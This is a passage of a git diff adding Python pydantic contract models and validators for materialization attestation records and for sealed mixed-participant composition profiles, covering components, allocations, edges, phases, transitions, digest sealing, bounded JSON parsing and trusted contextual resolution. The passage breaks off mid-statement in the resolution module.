MaterializationPlanModel(ContractModel): + """Phase-independent descriptive purpose and authenticated source context.""" + + purpose: Literal["execution", "inspection"] = Field( + default="execution", exclude_if=lambda value: value == "execution" + ) + materialization_source: MaterializationSource | None = Field(default=None, exclude_if=lambda value: value is None) + augmentation_scope_required: bool = Field(default=False, strict=True, exclude_if=lambda value: not value) + operation_id: NonEmptyString | None = Field(default=None, exclude_if=lambda value: value is None) + + +class MaterializationAttestationReferenceModel(ExperimentReferenceModel): + """A descriptive artifact identity, never the original scenario snapshot.""" + + ref_kind: Literal["materialization-attestation"] = "materialization-attestation" + ref_version: Literal["raes-sdl-materialized/v1"] = "raes-sdl-materialized/v1" + ref_digest: PrefixedDigestString + ref_path: NonEmptyString + + +class MaterializationArchiveRecord(ContractModel): + """Published protected bytes and their distinct semantic identity.""" + + reference: MaterializationAttestationReferenceModel + artifact: ExperimentArtifactRefModel + run_id: NonEmptyString + operation_id: NonEmptyString + + @model_validator(mode="after") + def _validate_archive_join(self) -> MaterializationArchiveRecord: + if ( + self.artifact.role != "materialization-attestation" + or self.reference.ref_id != self.artifact.artifact_id + or self.artifact.uri != f"urn:sha256:{self.artifact.checksum.value}" + or self.artifact.checksum.algorithm != "sha256" + or self.artifact.media_type != "application/vnd.raes.sdl+yaml" + or self.artifact.sensitivity not in {"restricted", "redacted"} + ): + raise ValueError("materialization artifact reference does not bind the protected SDL artifact") + return self + + +def validate_run_materializations(run: ExperimentRunModel) -> None: + """Bind descriptive carriers to the run's actual archived artifact records.""" + from raes_contracts.materialization import require_materialization_records + + require_materialization_records(tuple(run.materialization_attestations)) + if any(record.run_id != run.run_id for record in run.materialization_attestations): + raise ValueError("materialization attestation belongs to a different run") + archived = {record.reference.model_dump_json(exclude_none=True) for record in run.materialization_attestations} + for disclosure in run.augmentation_disclosures: + for reference in disclosure.carrier_refs: + if reference.ref_kind == "materialization-attestation": + typed = MaterializationAttestationReferenceModel.model_validate(reference.model_dump(mode="json")) + if typed.model_dump_json(exclude_none=True) not in archived: + raise ValueError("materialization carrier must bind an archived run artifact") + + +def attach_materialization_invariants(contract_id: str, schema: dict[str, Any]) -> None: + """Disclose the context-dependent checks that schema shape alone cannot prove.""" + from .schema_invariants import _add_raes_invariant + + invariants = { + "materialized-scenario-v1": ( + "materialized-sdl-source-and-inventory-binding", + "Complete origins, source/plan/predecessor/producer identity and realized inventory require " + "the admitted source and execution context; descriptive admission grants no execution authority.", + "raes_processor.planner.admit_materialization_submission", + ), + "backend-materialization-attestation-v1": ( + "backend-materialization-submission-admission", + "SDL bytes require bounded parsing and semantic, original-authority, complete inventory " + "and execution-context validation after materialization hooks.", + "raes_processor.planner.admit_materialization_submission", + ), + "materialization-archive-record-v1": ( + "materialization-archive-byte-and-lineage-binding", + "The typed record must join protected immutable published SDL bytes to their size, checksum, " + "semantic identity, run and operation; metadata alone does not prove delivery.", + "raes_processor.planner.validate_materialization_archive_record", + ), + "experiment-run-v1": ( + "run-materialization-carriers-archived", + "Materialization records belong to this run and materialization disclosure carriers bind " + "exactly one archived record; the original scenario snapshot reference is not replaced.", + "raes_contracts.contracts.materialization_attestation.validate_run_materializations", + ), + } + if contract_id in invariants: + identity, description, validator = invariants[contract_id] + _add_raes_invariant( + schema, + identity, + description, + validator=validator, + inputs=[{"contract_id": contract_id, "instance_path": "#"}], + ) diff --git a/implementations/python/packages/raes_contracts/contracts/mixed_composition.py b/implementations/python/packages/raes_contracts/contracts/mixed_composition.py new file mode 100644 index 000000000..08b185873 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/mixed_composition.py @@ -0,0 +1,429 @@ +"""Closed portable mixed-participant composition profile contracts. + +The profile publishes sealed realization/admission intent for ``sem-234/rev1``. +It deliberately contains no mutable runtime state, trial/run identity, backend +commands, or observed apparatus facts. Structural validation is local to the +root; :func:`validate_mixed_composition_context` performs the trusted joins that +schema validation cannot establish. +""" + +from __future__ import annotations + +from collections.abc import Mapping +from typing import Literal + +from pydantic import Field, GetJsonSchemaHandler, ValidationInfo, model_validator +from pydantic.json_schema import JsonSchemaValue +from pydantic_core import CoreSchema + +from .._canonical import canonical_json_digest +from ..addressing import CompiledAddress +from ..json_ingress import JSONValue, parse_bounded_json_object +from ..versions import MIXED_PARTICIPANT_COMPOSITION_PROFILE_SCHEMA_VERSION +from ..vocabulary import ParticipantFeatureSupportLevel +from .base import ContractModel, NonEmptyString, PositiveInteger, PrefixedDigestString +from .experiment_manifest_references import ExperimentManifestReferenceModel +from .experiment_references import ExperimentReferenceModel +from .mixed_composition_validation import validate_mixed_composition_phase_graph +from .participant_crossing import ( + ParticipantCrossingPolicyReferenceModel, + ParticipantCrossingSubjectReferenceModel, +) +from .participant_runtime import ParticipantRuntimeMappingLoss, ParticipantRuntimeOrderingBasis +from .realization_plans import RealizationEnvelopeIdentityModel +from .schema_invariants import _add_raes_invariant + +MIXED_COMPOSITION_CONTRACT_ID = "mixed-participant-composition-profile-v1" +MIXED_COMPOSITION_SCHEMA_VERSION = MIXED_PARTICIPANT_COMPOSITION_PROFILE_SCHEMA_VERSION +MIXED_COMPOSITION_SEMANTIC_REVISION = "sem-234/rev1" +MIXED_COMPOSITION_PROFILE_REVISION = "mixed-cross-backend-participant-control-v1@rev1" + +_PLACEHOLDER_DIGEST = "sha256:" + "0" * 64 +_SUPPORT_RANK = { + ParticipantFeatureSupportLevel.UNSUPPORTED: 0, + ParticipantFeatureSupportLevel.DISCLOSED_WEAK: 1, + ParticipantFeatureSupportLevel.BOUNDED: 2, + ParticipantFeatureSupportLevel.EXACT: 3, +} + +AllocationTargetKind = Literal[ + "participant", + "controlled-scope", + "action-family", + "observation-source", + "crossing", +] +CompositionMode = Literal["alternative", "simultaneous-mixed", "staged"] +RealizationForm = Literal["simulation", "emulation-or-operation"] + + +def _require_unique(label: str, values: list[str]) -> None: + if len(values) != len(set(values)): + raise ValueError(f"{label} must not contain duplicates") + + +def _require_key_identity(label: str, values: Mapping[str, object], attribute: str) -> None: + for key, value in values.items(): + if getattr(value, attribute) != key: + raise ValueError(f"{label} map key must equal embedded {attribute}") + + +class MixedCompositionValidationLimits(ContractModel): + """Caller-selected resource limits for composition parsing and resolution.""" + + max_source_bytes: PositiveInteger = 1_048_576 + max_json_depth: PositiveInteger = 64 + max_json_nodes: PositiveInteger = 20_000 + max_components: PositiveInteger = 64 + max_allocations: PositiveInteger = 1_024 + max_edges: PositiveInteger = 1_024 + max_phases: PositiveInteger = 256 + max_transitions: PositiveInteger = 512 + max_nested_profiles: PositiveInteger = 64 + max_context_work: PositiveInteger = 100_000 + + +class CompositionFeatureRequirementModel(ContractModel): + """One API-407 feature strength required from one allocated provider.""" + + feature: NonEmptyString + required_level: ParticipantFeatureSupportLevel = ParticipantFeatureSupportLevel.EXACT + allowed_downgrade_level: ParticipantFeatureSupportLevel | None = None + downgrade_policy_ref: NonEmptyString | None = None + downgrade_provenance_ref: NonEmptyString | None = None + + @model_validator(mode="after") + def _validate_downgrade(self) -> CompositionFeatureRequirementModel: + coordinates = ( + self.allowed_downgrade_level, + self.downgrade_policy_ref, + self.downgrade_provenance_ref, + ) + if any(value is not None for value in coordinates) and not all(value is not None for value in coordinates): + raise ValueError("feature downgrade requires level, policy, and provenance references") + if self.allowed_downgrade_level is not None: + if _SUPPORT_RANK[self.allowed_downgrade_level] >= _SUPPORT_RANK[self.required_level]: + raise ValueError("feature downgrade level must be weaker than the required level") + if self.allowed_downgrade_level is ParticipantFeatureSupportLevel.UNSUPPORTED: + raise ValueError("unsupported participant features cannot be authorized as a downgrade") + return self + + +class MixedCompositionComponentModel(ContractModel): + """One exact admitted apparatus component, not an observed runtime fact.""" + + component_id: NonEmptyString + apparatus_identity_ref: NonEmptyString + realization_form: RealizationForm + manifest_ref: ExperimentManifestReferenceModel + realization_envelope: RealizationEnvelopeIdentityModel + native_ownership_ref: NonEmptyString | None = None + + @model_validator(mode="after") + def _require_sealed_manifest(self) -> MixedCompositionComponentModel: + if self.manifest_ref.ref_digest is None: + raise ValueError("composition component manifest references must be digest-pinned") + return self + + +class MixedCompositionAllocationModel(ContractModel): + """Stable allocation of one compiled semantic target to one provider.""" + + allocation_id: NonEmptyString + target_kind: AllocationTargetKind + target_address: CompiledAddress + provider_component_id: NonEmptyString + phase_ids: list[NonEmptyString] = Field(min_length=1) + participant_identity_ref: NonEmptyString + controller_ref: NonEmptyString + action_authority_ref: NonEmptyString + routing_ref: NonEmptyString + feature_requirements: list[CompositionFeatureRequirementModel] = Field(default_factory=list) + + @model_validator(mode="after") + def _validate_allocation(self) -> MixedCompositionAllocationModel: + _require_unique("allocation phase_ids", self.phase_ids) + features = [requirement.feature for requirement in self.feature_requirements] + _require_unique("allocation feature requirements", features) + return self + + +class MixedCompositionEvidenceBindingModel(ContractModel): + """Typed obligation-to-evidence reference; it is not an evidence body.""" + + obligation_ref: NonEmptyString + evidence_ref: NonEmptyString + + +class MixedCompositionTimeBindingModel(ContractModel): + """Edge-relative order/coupling over an incumbent time-model mapping.""" + + time_model_ref: NonEmptyString + time_model_digest: PrefixedDigestString + source_clock_address: CompiledAddress + target_clock_address: CompiledAddress + mapping_address: CompiledAddress + ordering_basis: ParticipantRuntimeOrderingBasis + temporal_coupling: Literal["tight", "bounded-asynchronous", "asynchronous"] + + +class MixedCompositionMappingLossModel(ContractModel): + """Prospective mapping-loss obligation using the incumbent loss vocabulary.""" + + kind: ParticipantRuntimeMappingLoss + basis_ref: NonEmptyString + affected_ref: NonEmptyString + limitation_ref: NonEmptyString + + +class MixedCompositionFailureBehaviorModel(ContractModel): + failure_ref: NonEmptyString + disposition: Literal["fail-profile", "hold-phase", "abort-transition"] + + +class MixedCompositionEdgeModel(ContractModel): + """One directed composition edge; never an API-423 runtime occurrence.""" + + edge_id: NonEmptyString + source_component_id: NonEmptyString + target_component_id: NonEmptyString + phase_ids: list[NonEmptyString] = Field(min_length=1) + crossing_scope_address: CompiledAddress + crossing_subject: ParticipantCrossingSubjectReferenceModel + audience_scope_ref: NonEmptyString + policy: ParticipantCrossingPolicyReferenceModel + controller_ref: NonEmptyString + authority_ref: NonEmptyString + routing_ref: NonEmptyString + disclosure_authority_ref: NonEmptyString + native_ownership_ref: NonEmptyString | None = None + time_binding: MixedCompositionTimeBindingModel + mapping_loss: MixedCompositionMappingLossModel + failure_behavior: MixedCompositionFailureBehaviorModel + evidence_bindings: list[MixedCompositionEvidenceBindingModel] = Field(min_length=1) + + @model_validator(mode="after") + def _validate_edge(self) -> MixedCompositionEdgeModel: + if self.source_component_id == self.target_component_id: + raise ValueError("composition edges must connect distinct components") + _require_unique("edge phase_ids", self.phase_ids) + _require_unique( + "edge evidence obligations", + [binding.obligation_ref for binding in self.evidence_bindings], + ) + return self + + +class MixedCompositionPhaseModel(ContractModel): + """One finite admitted membership slice, not mutable runtime state.""" + + phase_id: NonEmptyString + active_component_ids: list[NonEmptyString] = Field(min_length=1) + active_allocation_ids: list[NonEmptyString] = Field(min_length=1) + active_edge_ids: list[NonEmptyString] = Field(default_factory=list) + evidence_bindings: list[MixedCompositionEvidenceBindingModel] = Field(min_length=1) + + @model_validator(mode="after") + def _validate_phase(self) -> MixedCompositionPhaseModel: + _require_unique("phase active_component_ids", self.active_component_ids) + _require_unique("phase active_allocation_ids", self.active_allocation_ids) + _require_unique("phase active_edge_ids", self.active_edge_ids) + _require_unique( + "phase evidence obligations", + [binding.obligation_ref for binding in self.evidence_bindings], + ) + return self + + +class MixedCompositionTransitionModel(ContractModel): + """One bounded pre-admitted phase transition declaration.""" + + transition_id: NonEmptyString + source_phase_id: NonEmptyString + target_phase_id: NonEmptyString + trigger_ref: NonEmptyString + evaluator_ref: NonEmptyString + progress_bound: PositiveInteger + failure_disposition: Literal["fail-profile", "hold-phase"] + evidence_bindings: list[MixedCompositionEvidenceBindingModel] = Field(min_length=1) + + @model_validator(mode="after") + def _validate_transition(self) -> MixedCompositionTransitionModel: + if self.source_phase_id == self.target_phase_id: + raise ValueError("composition transitions must connect distinct phases") + _require_unique( + "transition evidence obligations", + [binding.obligation_ref for binding in self.evidence_bindings], + ) + return self + + +class MixedParticipantCompositionProfileModel(ContractModel): + """One sealed portable mixed-participant composition root.""" + + contract_id: Literal[MIXED_COMPOSITION_CONTRACT_ID] = MIXED_COMPOSITION_CONTRACT_ID + schema_version: Literal[MIXED_COMPOSITION_SCHEMA_VERSION] = MIXED_COMPOSITION_SCHEMA_VERSION + semantic_revision: Literal[MIXED_COMPOSITION_SEMANTIC_REVISION] = MIXED_COMPOSITION_SEMANTIC_REVISION + profile_revision: Literal[MIXED_COMPOSITION_PROFILE_REVISION] = MIXED_COMPOSITION_PROFILE_REVISION + profile_id: NonEmptyString + scenario_snapshot_ref: ExperimentReferenceModel + composition_mode: CompositionMode + control_loop_posture: Literal["open-loop", "closed-loop"] + world_assumption: Literal["closed-world", "bounded-open-world"] + federation_membership: Literal["fixed", "pre-admitted-staged"] + components: dict[NonEmptyString, MixedCompositionComponentModel] = Field(min_length=1) + allocations: dict[NonEmptyString, MixedCompositionAllocationModel] = Field(min_length=1) + edges: dict[NonEmptyString, MixedCompositionEdgeModel] = Field(default_factory=dict) + phases: dict[NonEmptyString, MixedCompositionPhaseModel] = Field(min_length=1) + initial_phase_id: NonEmptyString + phase_order: list[NonEmptyString] = Field(min_length=1) + transitions: dict[NonEmptyString, MixedCompositionTransitionModel] = Field(default_factory=dict) + nested_profile_refs: dict[NonEmptyString, PrefixedDigestString] = Field(default_factory=dict) + profile_digest: PrefixedDigestString + + @model_validator(mode="after") + def _validate_profile(self, info: ValidationInfo) -> MixedParticipantCompositionProfileModel: + self._validate_identity_maps() + self._validate_scenario_reference() + self._validate_phase_graph() + self._validate_mode() + if not (isinstance(info.context, dict) and info.context.get("skip_profile_digest")): + expected = canonical_json_digest(_canonical_profile_content(self)) + if self.profile_digest != expected: + raise ValueError("profile_digest does not match the canonical profile content") + return self + + def _validate_identity_maps(self) -> None: + _require_key_identity("components", self.components, "component_id") + _require_key_identity("allocations", self.allocations, "allocation_id") + _require_key_identity("edges", self.edges, "edge_id") + _require_key_identity("phases", self.phases, "phase_id") + _require_key_identity("transitions", self.transitions, "transition_id") + identities = [component.apparatus_identity_ref for component in self.components.values()] + if len(identities) != len(set(identities)): + raise ValueError("composition components must have distinct apparatus identity references") + + def _validate_scenario_reference(self) -> None: + reference = self.scenario_snapshot_ref + if reference.ref_kind != "scenario-snapshot" or reference.ref_digest is None: + raise ValueError("composition profile requires a digest-pinned scenario-snapshot reference") + if reference.ref_path is not None: + raise ValueError("composition scenario snapshot references must not carry host paths") + + def _validate_phase_graph(self) -> None: + validate_mixed_composition_phase_graph(self) + + def _validate_mode(self) -> None: + if self.composition_mode == "alternative": + if len(self.components) != 1 or self.edges: + raise ValueError("alternative profiles require exactly one component and no composition edges") + if any(len(phase.active_component_ids) != 1 for phase in self.phases.values()): + raise ValueError("alternative profile phases require exactly one active component") + elif self.composition_mode == "simultaneous-mixed": + mixed = any( + len({self.components[component_id].realization_form for component_id in phase.active_component_ids}) + >= 2 + for phase in self.phases.values() + ) + if not mixed: + raise ValueError("simultaneous-mixed profiles require distinct active realization forms") + elif self.composition_mode == "staged": + memberships = {tuple(sorted(phase.active_component_ids)) for phase in self.phases.values()} + if len(self.phases) < 2 or len(memberships) < 2: + raise ValueError("staged profiles require a finite membership change across at least two phases") + + @classmethod + def __get_pydantic_json_schema__( + cls, + core_schema: CoreSchema, + handler: GetJsonSchemaHandler, + ) -> JsonSchemaValue: + schema = handler.resolve_ref_schema(handler(core_schema)) + _add_raes_invariant( + schema, + "mixed-composition-root-local-graph-valid", + "The sealed root has exact keyed identities, closed references, one provider per target and phase, " + "complete finite phase membership, mode-specific realization rules, and a matching canonical digest.", + validator=( + "raes_contracts.contracts.mixed_composition.MixedParticipantCompositionProfileModel._validate_profile" + ), + inputs=[{"contract_id": MIXED_COMPOSITION_CONTRACT_ID, "instance_path": "#"}], + ) + _add_raes_invariant( + schema, + "mixed-composition-trusted-context-required", + "Schema validity does not resolve scenario targets, manifests, envelopes, participant features, " + "crossing policies, clocks, evidence, or nested profiles; trusted contextual validation is required.", + validator="raes_contracts.contracts.mixed_composition_resolution.validate_mixed_composition_context", + inputs=[{"contract_id": MIXED_COMPOSITION_CONTRACT_ID, "instance_path": "#"}], + ) + return schema + + +def _canonical_profile_content(profile: MixedParticipantCompositionProfileModel) -> dict[str, object]: + payload = profile.model_dump(mode="json") + payload.pop("profile_digest", None) + return payload + + +def seal_mixed_composition_profile(**fields: object) -> MixedParticipantCompositionProfileModel: + """Validate and seal one composition root with its RFC 8785 content digest.""" + + provisional = MixedParticipantCompositionProfileModel.model_validate( + {**fields, "profile_digest": _PLACEHOLDER_DIGEST}, + context={"skip_profile_digest": True}, + ) + digest = canonical_json_digest(_canonical_profile_content(provisional)) + return MixedParticipantCompositionProfileModel.model_validate({**fields, "profile_digest": digest}) + + +def _validate_json_shape(payload: JSONValue, limits: MixedCompositionValidationLimits) -> None: + stack: list[tuple[JSONValue, int]] = [(payload, 1)] + nodes = 0 + while stack: + value, depth = stack.pop() + nodes += 1 + if nodes > limits.max_json_nodes: + raise ValueError("mixed composition JSON exceeds the configured node limit") + if depth > limits.max_json_depth: + raise ValueError("mixed composition JSON exceeds the configured depth limit") + if isinstance(value, dict): + stack.extend((child, depth + 1) for child in value.values()) + elif isinstance(value, list): + stack.extend((child, depth + 1) for child in value) + + +def _validate_profile_limits( + profile: MixedParticipantCompositionProfileModel, + limits: MixedCompositionValidationLimits, +) -> None: + counts = ( + (len(profile.components), limits.max_components, "component"), + (len(profile.allocations), limits.max_allocations, "allocation"), + (len(profile.edges), limits.max_edges, "edge"), + (len(profile.phases), limits.max_phases, "phase"), + (len(profile.transitions), limits.max_transitions, "transition"), + (len(profile.nested_profile_refs), limits.max_nested_profiles, "nested profile"), + ) + for actual, maximum, label in counts: + if actual > maximum: + raise ValueError(f"mixed composition exceeds the configured {label} limit") + + +def parse_mixed_composition_profile( + source: str | bytes | bytearray, + *, + limits: MixedCompositionValidationLimits | None = None, +) -> MixedParticipantCompositionProfileModel: + """Parse one bounded, duplicate-rejecting mixed-composition JSON object.""" + + selected = limits or MixedCompositionValidationLimits() + payload = parse_bounded_json_object( + source, + max_bytes=selected.max_source_bytes, + max_depth=selected.max_json_depth, + ) + _validate_json_shape(payload, selected) + profile = MixedParticipantCompositionProfileModel.model_validate(payload) + _validate_profile_limits(profile, selected) + return profile diff --git a/implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py b/implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py new file mode 100644 index 000000000..b503a414b --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py @@ -0,0 +1,482 @@ +"""Trusted contextual admission for mixed-participant composition profiles.""" + +from __future__ import annotations + +from collections.abc import Callable, Mapping +from dataclasses import dataclass, field + +from ..vocabulary import ParticipantFeatureSupportLevel +from .experiment_manifest_references import ExperimentManifestReferenceModel +from .experiment_references import ExperimentReferenceModel +from .mixed_composition import ( + AllocationTargetKind, + CompositionFeatureRequirementModel, + MixedCompositionAllocationModel, + MixedCompositionComponentModel, + MixedCompositionEdgeModel, + MixedCompositionEvidenceBindingModel, + MixedCompositionFailureBehaviorModel, + MixedCompositionMappingLossModel, + MixedCompositionTimeBindingModel, + MixedCompositionTransitionModel, + MixedCompositionValidationLimits, + MixedParticipantCompositionProfileModel, + _validate_profile_limits, +) +from .participant_crossing import ( + ParticipantCrossingPolicyReferenceModel, + ParticipantCrossingSubjectReferenceModel, +) +from .realization_plans import RealizationEnvelopeIdentityModel +from .time_model import TimeModelDeclarationModel + + +@dataclass(frozen=True) +class MixedCompositionTrustedComponent: + """Trusted relationship joining one component to its admitted identities.""" + + profile_id: str + component_id: str + apparatus_identity_ref: str + manifest_ref: ExperimentManifestReferenceModel + realization_envelope: RealizationEnvelopeIdentityModel + native_ownership_ref: str | None + + +@dataclass(frozen=True) +class MixedCompositionTrustedAllocation: + """Trusted relationship joining one allocation to its semantic authority.""" + + profile_id: str + allocation_id: str + target_kind: AllocationTargetKind + target_address: str + provider_component_id: str + participant_identity_ref: str + controller_ref: str + action_authority_ref: str + routing_ref: str + + +@dataclass(frozen=True) +class MixedCompositionTrustedEdge: + """Trusted relationship joining one crossing to all of its authorities.""" + + profile_id: str + edge_id: str + source_component_id: str + target_component_id: str + crossing_scope_address: str + crossing_subject: ParticipantCrossingSubjectReferenceModel + audience_scope_ref: str + policy: ParticipantCrossingPolicyReferenceModel + controller_ref: str + authority_ref: str + routing_ref: str + disclosure_authority_ref: str + native_ownership_ref: str | None + time_binding: MixedCompositionTimeBindingModel + mapping_loss: MixedCompositionMappingLossModel + failure_behavior: MixedCompositionFailureBehaviorModel + + +@dataclass(frozen=True) +class MixedCompositionTrustedTransition: + """Trusted relationship joining one staged transition to its evaluator.""" + + profile_id: str + transition_id: str + source_phase_id: str + target_phase_id: str + trigger_ref: str + evaluator_ref: str + + +@dataclass(frozen=True) +class MixedCompositionFeatureDowngradeAuthorization: + """Exact trusted authorization for one weaker API-407 feature level.""" + + profile_id: str + provider_component_id: str + feature: str + required_level: ParticipantFeatureSupportLevel + allowed_downgrade_level: ParticipantFeatureSupportLevel + policy_ref: str + provenance_ref: str + + +MixedCompositionFeatureSupportResolver = Callable[[str, str, CompositionFeatureRequirementModel], None] + + +@dataclass(frozen=True) +class MixedCompositionResolutionContext: + """Trusted, caller-supplied indexes used for contextual profile validation.""" + + scenario_snapshots: Mapping[str, ExperimentReferenceModel] + compiled_targets: Mapping[str, str] + components: Mapping[tuple[str, str], MixedCompositionTrustedComponent] + allocations: Mapping[tuple[str, str], MixedCompositionTrustedAllocation] + edges: Mapping[tuple[str, str], MixedCompositionTrustedEdge] + transitions: Mapping[tuple[str, str], MixedCompositionTrustedTransition] + feature_support_resolver: MixedCompositionFeatureSupportResolver + feature_downgrade_authorizations: frozenset[MixedCompositionFeatureDowngradeAuthorization] + time_models: Mapping[str, TimeModelDeclarationModel] + time_model_digests: Mapping[str, str] + evidence_satisfaction: Mapping[tuple[str, str], frozenset[str]] + nested_profiles: Mapping[str, MixedParticipantCompositionProfileModel] + allocation_effects: Mapping[tuple[str, str], frozenset[str]] = field(default_factory=dict) + resource_refs: Mapping[str, frozenset[str]] = field(default_factory=dict) + component_projection_membership: Mapping[tuple[str, str], bool] = field(default_factory=dict) + + +class _WorkBudget: + def __init__(self, limit: int) -> None: + self.limit = limit + self.used = 0 + + def charge(self, amount: int = 1) -> None: + self.used += amount + if self.used > self.limit: + raise ValueError("mixed composition contextual validation exceeded its work limit") + + +def _validate_component_context( + profile_id: str, + component: MixedCompositionComponentModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + budget.charge() + observed = MixedCompositionTrustedComponent( + profile_id=profile_id, + component_id=component.component_id, + apparatus_identity_ref=component.apparatus_identity_ref, + manifest_ref=component.manifest_ref, + realization_envelope=component.realization_envelope, + native_ownership_ref=component.native_ownership_ref, + ) + if context.components.get((profile_id, component.component_id)) != observed: + raise ValueError("composition component identity relationship is unresolved or stale") + + +def _validate_feature_requirements( + profile_id: str, + allocation: MixedCompositionAllocationModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + for requirement in allocation.feature_requirements: + budget.charge() + if requirement.downgrade_policy_ref is not None: + authorization = MixedCompositionFeatureDowngradeAuthorization( + profile_id=profile_id, + provider_component_id=allocation.provider_component_id, + feature=requirement.feature, + required_level=requirement.required_level, + allowed_downgrade_level=requirement.allowed_downgrade_level, + policy_ref=requirement.downgrade_policy_ref, + provenance_ref=requirement.downgrade_provenance_ref, + ) + if authorization not in context.feature_downgrade_authorizations: + raise ValueError("composition feature downgrade authorization is unresolved") + try: + context.feature_support_resolver(profile_id, allocation.provider_component_id, requirement) + except Exception: + raise ValueError("composition allocation feature support resolution failed") from None + + +def _validate_allocation_context( + profile_id: str, + allocation: MixedCompositionAllocationModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + budget.charge() + if context.compiled_targets.get(allocation.target_address) != allocation.target_kind: + raise ValueError("composition allocation compiled target is unresolved or has the wrong kind") + observed = MixedCompositionTrustedAllocation( + profile_id=profile_id, + allocation_id=allocation.allocation_id, + target_kind=allocation.target_kind, + target_address=allocation.target_address, + provider_component_id=allocation.provider_component_id, + participant_identity_ref=allocation.participant_identity_ref, + controller_ref=allocation.controller_ref, + action_authority_ref=allocation.action_authority_ref, + routing_ref=allocation.routing_ref, + ) + if context.allocations.get((profile_id, allocation.allocation_id)) != observed: + raise ValueError("composition allocation authority relationship is unresolved or stale") + _validate_feature_requirements(profile_id, allocation, context, budget) + + +def _validate_evidence_binding( + profile_id: str, + binding: MixedCompositionEvidenceBindingModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + budget.charge() + accepted = context.evidence_satisfaction.get((profile_id, binding.obligation_ref), frozenset()) + if binding.evidence_ref not in accepted: + raise ValueError("composition obligation-to-evidence relationship is unresolved") + + +def _validate_edge_context( + profile_id: str, + edge: MixedCompositionEdgeModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + budget.charge() + observed = MixedCompositionTrustedEdge( + profile_id=profile_id, + edge_id=edge.edge_id, + source_component_id=edge.source_component_id, + target_component_id=edge.target_component_id, + crossing_scope_address=edge.crossing_scope_address, + crossing_subject=edge.crossing_subject, + audience_scope_ref=edge.audience_scope_ref, + policy=edge.policy, + controller_ref=edge.controller_ref, + authority_ref=edge.authority_ref, + routing_ref=edge.routing_ref, + disclosure_authority_ref=edge.disclosure_authority_ref, + native_ownership_ref=edge.native_ownership_ref, + time_binding=edge.time_binding, + mapping_loss=edge.mapping_loss, + failure_behavior=edge.failure_behavior, + ) + if context.edges.get((profile_id, edge.edge_id)) != observed: + raise ValueError("composition edge authority relationship is unresolved or stale") + for binding in edge.evidence_bindings: + _validate_evidence_binding(profile_id, binding, context, budget) + + time_binding = edge.time_binding + time_model = context.time_models.get(time_binding.time_model_ref) + if ( + time_model is None + or context.time_model_digests.get(time_binding.time_model_ref) != time_binding.time_model_digest + ): + raise ValueError("composition edge time model is unresolved or stale") + source_clock = time_model.clocks.get(time_binding.source_clock_address) + target_clock = time_model.clocks.get(time_binding.target_clock_address) + mapping = time_model.mappings.get(time_binding.mapping_address) + if source_clock is None or target_clock is None or mapping is None: + raise ValueError("composition edge clock or mapping reference is unresolved") + if ( + mapping.source_domain_address != source_clock.time_domain_address + or mapping.target_domain_address != target_clock.time_domain_address + ): + raise ValueError("composition edge time mapping endpoints do not match its clocks") + + +def _validate_phase_evidence( + profile: MixedParticipantCompositionProfileModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + carriers = ( + *(profile.phases[phase_id] for phase_id in sorted(profile.phases)), + *(profile.transitions[transition_id] for transition_id in sorted(profile.transitions)), + ) + for carrier in carriers: + for binding in carrier.evidence_bindings: + _validate_evidence_binding(profile.profile_id, binding, context, budget) + + +def _validate_transition_context( + profile_id: str, + transition: MixedCompositionTransitionModel, + context: MixedCompositionResolutionContext, + budget: _WorkBudget, +) -> None: + budget.charge() + observed = MixedCompositionTrustedTransition( + profile_id=profile_id, + transition_id=transition.transition_id, + source_phase_id=transition.source_phase_id, + target_phase_id=transition.target_phase_id, + trigger_ref=transition.trigger_ref, + evaluator_ref=transition.evaluator_ref, + ) + if context.transitions.get((profile_id, transition.transition_id)) != observed: + raise ValueError("composition transition trigger or evaluator relationship is unresolved or stale") + + +class _ContextValidator: + def __init__( + self, + context: MixedCompositionResolutionContext, + limits: MixedCompositionValidationLimits, + *, + require_trial_admission: bool, + ) -> None: + self.context = context + self.limits = limits + self.require_trial_admission = require_trial_admission + self.budget = _WorkBudget(limits.max_context_work) + self.visited: set[str] = set() + self.visiting: set[str] = set() + self.profiles: dict[str, MixedParticipantCompositionProfileModel] = {} + + def visit(self, profile: MixedParticipantCompositionProfileModel) -> None: + if not self._begin_visit(profile.profile_id): + return + _validate_profile_limits(profile, self.limits) + self._validate_profile_context(profile) + if self.require_trial_admission: + _validate_trial_admission_context(profile, self.context) + self.profiles[profile.profile_id] = profile + for child_id, child_digest in sorted(profile.nested_profile_refs.items()): + self.visit(self._resolve_child(child_id, child_digest)) + self.visiting.remove(profile.profile_id) + self.visited.add(profile.profile_id) + + def _begin_visit(self, profile_id: str) -> bool: + self.budget.charge() + if profile_id in self.visiting: + raise ValueError("mixed composition nested profile cycle detected") + if profile_id in self.visited: + return False + if len(self.visited) >= self.limits.max_nested_profiles: + raise ValueError("mixed composition nested profile limit exceeded") + self.visiting.add(profile_id) + return True + + def _validate_profile_context(self, profile: MixedParticipantCompositionProfileModel) -> None: + scenario = profile.scenario_snapshot_ref + if self.context.scenario_snapshots.get(scenario.ref_id) != scenario: + raise ValueError("composition scenario snapshot is unresolved or stale") + for component_id in sorted(profile.components): + component = profile.components[component_id] + _validate_component_context(profile.profile_id, component, self.context, self.budget) + for allocation_id in sorted(profile.allocations): + allocation = profile.allocations[allocation_id] + _validate_allocation_context(profile.profile_id, allocation, self.context, self.budget) + for edge_id in sorted(profile.edges): + edge = profile.edges[edge_id] + _validate_edge_context(profile.profile_id, edge, self.context, self.budget) + for transition_id in sorted(profile.transitions): + transition = profile.transitions[transition_id] + _validate_transition_context(profile.profile_id, transition, self.context, self.budget) + _validate_phase_evidence(profile, self.context, self.budget) + + def _resolve_child( + self, + child_id: str, + child_digest: str, + ) -> MixedParticipantCompositionProfileModel: + self.budget.charge() + child = self.context.nested_profiles.get(child_id) + if child is None or child.profile_id != child_id or child.profile_digest != child_digest: + raise ValueError("composition nested profile is unresolved or stale") + try: + reconstructed = 